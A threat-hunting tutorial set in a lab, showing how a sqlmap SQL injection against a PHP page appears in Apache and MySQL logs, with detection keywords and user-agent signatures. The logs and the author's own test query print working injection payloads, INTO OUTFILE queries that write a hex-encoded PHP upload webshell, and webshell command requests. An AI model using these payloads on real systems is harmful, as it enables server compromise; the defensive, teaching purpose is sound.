Threat hunting SQL injection attacks

SQL injection is an attack on a web application where an attacker is able to manipulate SQL queries that the application sends to the database. This can lead not only to breaking into the web application, but may also give the hacker wider access to the operating system. A properly written web application will not be vulnerable to such attacks, because it will not allow SQL queries to pass through.

To simulate this type of attack, our lab looks as follows:

  • victim_server103 / 172.16.1.103, Ubuntu – victim, vulnerable to SQL injection
  • attacker_server169 / 172.16.1.169, Kali – attacker

First of all we need to enable MySQL general logging on the victim machine, which is by default disabled. The following setting should be set in the configuration:

[email protected]_server103:~# grep general /etc/mysql/mysql.conf.d/mysqld.cnf
 general_log_file        = /var/log/mysql/mysql.log
 general_log             = 1

To monitor changes in file system we will be using Linux kernel subsystem called inotify. For that we can use one of tools and in our case this will be inotifywait from inotify-tools package:

[email protected]_server103:~# apt-cache search inotify-tools
 inotify-tools - command-line programs providing a simple interface to inotify

Our website is in the /var/www directory, and to monitor this location for changes we can use a simple command like:

[email protected]_server103:~# screen -d -m sh -c "inotifywait -m -r /var/www --format '%w%f %e' | logger -t inotify"

At URL http://172.16.1.103/sqli/index.php?sqli=[SQLi] we have very simple PHP script which is vulnerable to SQL injection.

It looks like our configuration of detection on victim machine is done.

On the attacker machine we will use sqlmap, which is a tool to automate SQL injection attacks:

[email protected]_server169:~# sqlmap -u http://172.16.1.103/sqli/index.php?sqli=1 --fresh-queries --batch --dbms mysql --os-shell

Traces of this attack can be found on victim machine in apache2 access.log:

 

 

172.16.1.169 - - [29/Aug/2017:10:15:12 +0100] "GET /sqli/index.php?sqli=1 HTTP/1.1" 200 200 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28QUARTER%28NULL%29%20IS%20NULL%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20lcwB HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28SESSION_USER%28%29%20LIKE%20USER%28%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20lEkv HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28ISNULL%28TIMESTAMPADD%28MINUTE%2C4475%2CNULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20gZPH HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20ACgQ HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
[email protected]_server103:~# cat /var/log/apache2/access.log

172.16.1.169 - - [29/Aug/2017:10:15:12 +0100] "GET /sqli/index.php?sqli=1 HTTP/1.1" 200 200 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28QUARTER%28NULL%29%20IS%20NULL%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20lcwB HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28SESSION_USER%28%29%20LIKE%20USER%28%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20lEkv HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28ISNULL%28TIMESTAMPADD%28MINUTE%2C4475%2CNULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20gZPH HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20ACgQ HTTP/1.1" 200 223 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Ftmpuivxv.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20kVmd HTTP/1.1" 200 367 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /var/www/tmpuivxv.php HTTP/1.1" 404 475 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /www/tmpuivxv.php HTTP/1.1" 404 471 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /tmpuivxv.php HTTP/1.1" 404 467 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=-8023%20UNION%20ALL%20SELECT%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a%2CNULL%20INTO%20DUMPFILE%20%27%2Fvar%2Fwww%2Ftmpuuymj.php%27--%20JNpB HTTP/1.1" 200 367 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2CIFNULL%28CAST%28LENGTH%28LOAD_FILE%280x2f7661722f7777772f746d707575796d6a2e706870%29%29%20AS%20CHAR%29%2C0x20%29%2C0x71626a7a71%29--%20vktl HTTP/1.1" 200 225 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /var/www/tmpuuymj.php HTTP/1.1" 404 475 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /www/tmpuuymj.php HTTP/1.1" 404 471 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /tmpuuymj.php HTTP/1.1" 404 467 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/index.php?sqli=1%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Fhtml%2Fsqli%2Ftmpuookm.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f73716c692f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20nbOu HTTP/1.1" 200 367 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /var/www/html/sqli/tmpuookm.php HTTP/1.1" 404 485 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /www/html/sqli/tmpuookm.php HTTP/1.1" 404 481 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /html/sqli/tmpuookm.php HTTP/1.1" 404 477 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/tmpuookm.php HTTP/1.1" 200 443 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "POST /sqli/tmpuookm.php HTTP/1.1" 200 193 "-" "Python-urllib/2.7"

172.16.1.169 - - [29/Aug/2017:10:15:13 +0100] "GET /sqli/tmpbfwce.php?cmd=echo%20command%20execution%20test HTTP/1.1" 200 201 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

To detect such an attack we can simply look for queries which contain following strings:

SELECT, UNION, INSERT, UPDATE, DELETE, REPLACE, TRUNCATE

Which are parts of SQL query language. We should also focus on others, such as:

OUTFILE, LOAD_FILE, DUMPFILE

Because, for example, sqlmap uses them to save webshells.

We can also focus on other fields of HTTP logs like User-Agent header:

  • sqlmap/1.0.8.2#dev (http://sqlmap.org)
  • Python-urllib/2.7

But please remember that this can be changed by the attacker, for example in sqlmap by parameter such as:

--user-agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36"

Then we will see logs like:

172.16.1.169 - - [29/Aug/2017:11:04:08 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28QUARTER%28NULL%29%20IS%20NULL%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20VVjL HTTP/1.1" 200 223 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36"

172.16.1.169 - - [29/Aug/2017:11:04:09 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28SESSION_USER%28%29%20LIKE%20USER%28%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20XAZf HTTP/1.1" 200 223 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36"

172.16.1.169 - - [29/Aug/2017:11:04:09 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%28ISNULL%28TIMESTAMPADD%28MINUTE%2C8702%2CNULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20TVaL HTTP/1.1" 200 223 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36"

172.16.1.169 - - [29/Aug/2017:11:04:09 +0100] "GET /sqli/index.php?sqli=1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7176626b71%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x71626a7a71%29--%20hueU HTTP/1.1" 200 223 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36"

In fact there are many ways to detect such anomalies, not only using User-Agent header and keywords (in this case SQL language) but for example we can focus on things like clients which don’t query for images, styles etc. Also a short time between queries and a large number of queries will be especially visible in (blind) SQL injection attack. Due to blind SQL injection there is actually a need to using automated tools which just do brute force like attacks for every next char from database.

Back to our case and detection, in MySQL log we will see all queries to database i.e. which were made due SQL injection attack:

[email protected]_server103:~# cat /var/log/mysql/mysql.log

2017-08-29T09:15:12.937784Z    39 Connect [email protected] on  using Socket
2017-08-29T09:15:12.940257Z    39 Init DB foo
2017-08-29T09:15:12.940417Z    39 Query SELECT * FROM foo WHERE id = 1
2017-08-29T09:15:12.943874Z    39 Quit
2017-08-29T09:15:13.001161Z    40 Connect [email protected] on  using Socket
2017-08-29T09:15:13.001275Z    40 Init DB foo
2017-08-29T09:15:13.001461Z    40 Query SELECT * FROM foo WHERE id = 1 UNION ALL SELECT NULL,CONCAT(0x7176626b71,(CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END),0x71626a7a71)-- lcwB
2017-08-29T09:15:13.002256Z    40 Quit
2017-08-29T09:15:13.048761Z    41 Connect [email protected] on  using Socket
2017-08-29T09:15:13.048911Z    41 Init DB foo
2017-08-29T09:15:13.049128Z    41 Query SELECT * FROM foo WHERE id = 1 UNION ALL SELECT NULL,CONCAT(0x7176626b71,(CASE WHEN (SESSION_USER() LIKE USER()) THEN 1 ELSE 0 END),0x71626a7a71)-- lEkv
2017-08-29T09:15:13.049996Z    41 Quit
2017-08-29T09:15:13.064698Z    42 Connect [email protected] on  using Socket
2017-08-29T09:15:13.064796Z    42 Init DB foo
2017-08-29T09:15:13.064949Z    42 Query SELECT * FROM foo WHERE id = 1 UNION ALL SELECT NULL,CONCAT(0x7176626b71,(CASE WHEN (ISNULL(TIMESTAMPADD(MINUTE,4475,NULL))) THEN 1 ELSE 0 END),0x71626a7a71)-- gZPH
2017-08-29T09:15:13.065685Z    42 Quit
2017-08-29T09:15:13.074091Z    43 Connect [email protected] on  using Socket
2017-08-29T09:15:13.074185Z    43 Init DB foo
2017-08-29T09:15:13.074370Z    43 Query SELECT * FROM foo WHERE id = 1 UNION ALL SELECT NULL,CONCAT(0x7176626b71,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x71626a7a71)-- ACgQ
2017-08-29T09:15:13.075064Z    43 Quit
2017-08-29T09:15:13.083797Z    44 Connect [email protected] on  using Socket
2017-08-29T09:15:13.083907Z    44 Init DB foo
2017-08-29T09:15:13.084112Z    44 Query SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuivxv.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- kVmd
2017-08-29T09:15:13.085230Z    44 Quit
2017-08-29T09:15:13.109696Z    45 Connect [email protected] on  using Socket
2017-08-29T09:15:13.109814Z    45 Init DB foo
2017-08-29T09:15:13.109984Z    45 Query SELECT * FROM foo WHERE id = -8023 UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL INTO DUMPFILE '/var/www/tmpuuymj.php'-- JNpB
2017-08-29T09:15:13.111038Z    45 Quit
2017-08-29T09:15:13.119930Z    46 Connect [email protected] on  using Socket
2017-08-29T09:15:13.120105Z    46 Init DB foo
2017-08-29T09:15:13.120273Z    46 Query SELECT * FROM foo WHERE id = 1 UNION ALL SELECT NULL,CONCAT(0x7176626b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f7661722f7777772f746d707575796d6a2e706870)) AS CHAR),0x20),0x71626a7a71)-- vktl
2017-08-29T09:15:13.120948Z    46 Quit
2017-08-29T09:15:13.142478Z    47 Connect [email protected] on  using Socket
2017-08-29T09:15:13.142583Z    47 Init DB foo
2017-08-29T09:15:13.142726Z    47 Query SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/html/sqli/tmpuookm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f73716c692f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- nbOu
2017-08-29T09:15:13.143108Z    47 Quit

Even when attacker quits from sqlmap and deletes some of staged attack webshells:

sqlmap on attacker machine:

os-shell> quit

[10:18:26] [INFO] cleaning up the web files uploaded

[10:18:26] [WARNING] HTTP error codes detected during run:

404 (Not Found) - 9 times

[10:18:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/172.16.1.103'
 [*] shutting down at 10:18:26

apache access.log on victim machine:

172.16.1.169 - - [29/Aug/2017:10:19:55 +0100] "GET /sqli/tmpbfwce.php?cmd=rm%20-f

%20%2Fvar%2Fwww%2Fhtml%2Fsqli%2Ftmpuookm.php HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

172.16.1.169 - - [29/Aug/2017:10:19:55 +0100] "GET /sqli/tmpbfwce.php?cmd=rm%20-f
%20%2Fvar%2Fwww%2Fhtml%2Fsqli%2Ftmpbfwce.php HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

This, which is created by SQL commands will be not deleted because of file system permissions:

[email protected]_server103:~# stat /var/www/tmpuuymj.php
  File: '/var/www/tmpuuymj.php'
  Size: 701        Blocks: 8          IO Block: 4096   regular file

Device: fc00h/64512d Inode: 787730      Links: 1
Access: (0666/-rw-rw-rw-)  Uid: (  116/   mysql)   Gid: (  121/   mysql)
Access: 2017-08-29 10:15:13.116103462 +0100
Modify: 2017-08-29 10:15:13.108103176 +0100
Change: 2017-08-29 10:15:13.108103176 +0100
 Birth: -

[email protected]_server103:~# stat /var/www/tmpuivxv.php
  File: '/var/www/tmpuivxv.php'
  Size: 713        Blocks: 8          IO Block: 4096   regular file

Device: fc00h/64512d Inode: 782068      Links: 1
Access: (0666/-rw-rw-rw-)  Uid: (  116/   mysql)   Gid: (  121/   mysql)
Access: 2017-08-29 10:15:13.080102172 +0100
Modify: 2017-08-29 10:15:13.080102172 +0100
Change: 2017-08-29 10:15:13.080102172 +0100
 Birth: -

In last steps of staged attack, sqlmap use files created by Apache2 process www-data and operates with this permissions, because of that is not able to delete files created in first steps, by MySQL process.

Files created by MySQL process were created by running the following command due to SQL injection attack:

2017-08-29T09:15:13.142726Z   47 Query SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE ‘/var/www/html/sqli/tmpuookm.php’ LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f73716c692f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a– — nbOu

We can test it by simply running this query:

mysql> SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE ‘/tmp/tmpuookm.php’ LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f73716c692f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a;
Query OK, 1 row affected (0.00 sec)

 

[email protected]_server103:~# cat /tmp/tmpuookm.php
1 Hello world<?php
